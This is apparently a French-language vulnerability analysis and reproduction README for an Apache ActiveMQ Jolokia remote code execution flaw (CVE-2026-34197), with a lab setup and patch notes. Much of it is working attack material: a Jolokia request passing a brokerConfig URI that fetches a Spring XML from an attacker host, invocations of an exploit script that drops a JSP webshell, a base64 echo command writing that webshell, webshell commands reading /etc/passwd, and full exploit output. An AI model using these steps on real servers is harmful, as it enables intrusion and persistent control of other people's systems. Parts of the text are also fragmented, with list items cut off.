
Apache ActiveMQ RCE via Jolokia : analyse de vulnérabilité et notes de reproduction
| Élément | Détails |
|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (ÉLEVÉ) |
| Type de vulnérabilité | Exécution de code à distance (RCE) |
| CWE | CWE-20 Validation incorrecte des entrées / CWE-94 Injection de code |
| Composant affecté | Apache ActiveMQ Classic - Pont JMX-HTTP Jolokia |
| Versions affectées | < 5.19.4 et 6.0.0 à 6.2.2 |
| Versions corrigées | 5.19.4 / 6.2.3 |
| Date de divulgation | 2026-04-07 |
| Authentification | Requis par défaut, généralement admin:admin. Les versions 6.0.0-6.1.1 peuvent être accessibles sans authentification lorsqu'elles sont chaînées avec CVE-2024-32114. |
| Découverte | Signalé comme une recherche assistée par IA par Anthropic Claude, après avoir été présent pendant environ 13 ans. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/, fournissant un accès JMX-over-HTTP.org.apache.activemq:*, y compris addNetworkConnector.brokerConfig du transport vm:// peut pointer vers un Spring XML distant, et l'instanciation du bean se produit avant que la configuration ne soit rejetée.ActiveMQ 6.2.3 a ajouté une validation dans addNetworkConnector() pour rejeter les URI de transport vm:// :
"error": "VM scheme is not allowed"
| Élément | Détails |
|---|---|
| Hôte attaquant | macOS avec OrbStack Docker |
| Image cible | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Utilisateur d'exécution | amq (uid=33031) |
| Système d'exploitation de base | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Une réponse status: 200 confirme que Jolokia est accessible.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
Le script effectue les actions suivantes :
NetworkConnector existant nommé NC pour rendre les tests répétés fiables.addNetworkConnector pour déclencher le chemin de code vulnérable.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Version | Image | Réponse Jolokia | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Réussie en tant que uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Réussie en tant que uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Corrigé |
addNetworkConnector() enregistre un connecteur nommé NC. Une seconde inscription échoue avec un conflit de nom JMX et retourne une erreur 500. Le script gère cela en appelant removeNetworkConnector("NC") avant de déclencher l'exploit.
ActiveMQ utilise un Jetty embarqué, mais le répertoire webapps existe sur le disque et le moteur JSP compile les fichiers .jsp nouvellement écrits. Cela rend possible l'écriture d'un webshell dans l'environnement testé.
La charge utile écrit le JSP en utilisant du base64 en ligne :
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Avantages :
<, >, % et ".La cible doit pouvoir atteindre le serveur HTTP contrôlé par l'attaquant pour récupérer la charge utile Spring XML. Si la cible n'a pas de route sortante vers l'attaquant, ce chemin d'exploitation ne peut aboutir.
Les requêtes Jolokia directes peuvent retourner 403 en raison des contrôles CORS. Inclure un en-tête Origin qui correspond à la cible :
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # Ce rapport
|-- exploit_webshell.py # Écrivain de webshell en un coup avec base64 en ligne et nom de fichier aléatoire
`-- upstream-poc/ # Copie des fichiers de dinosn/CVE-2026-34197
|-- docker-compose.yml # Environnement de laboratoire pour ActiveMQ 6.2.1
|-- exploit_poc.py # Script PoC original avec modes serve/exploit/auto
`-- serve_payload.py # Serveur HTTP de charge utile simple
| Script | Objectif | Exigence de réseau sortant | Webshell |
|---|---|---|---|
exploit_poc.py | PoC RCE aveugle original qui exécute une commande arbitraire | Requis | Non |
exploit_webshell.py | RCE réfléchie en un coup via un webshell JSP écrit | Requis uniquement pour la récupération du XML | Écrit automatiquement avec un nom de fichier aléatoire |
jetty.xml.admin:admin.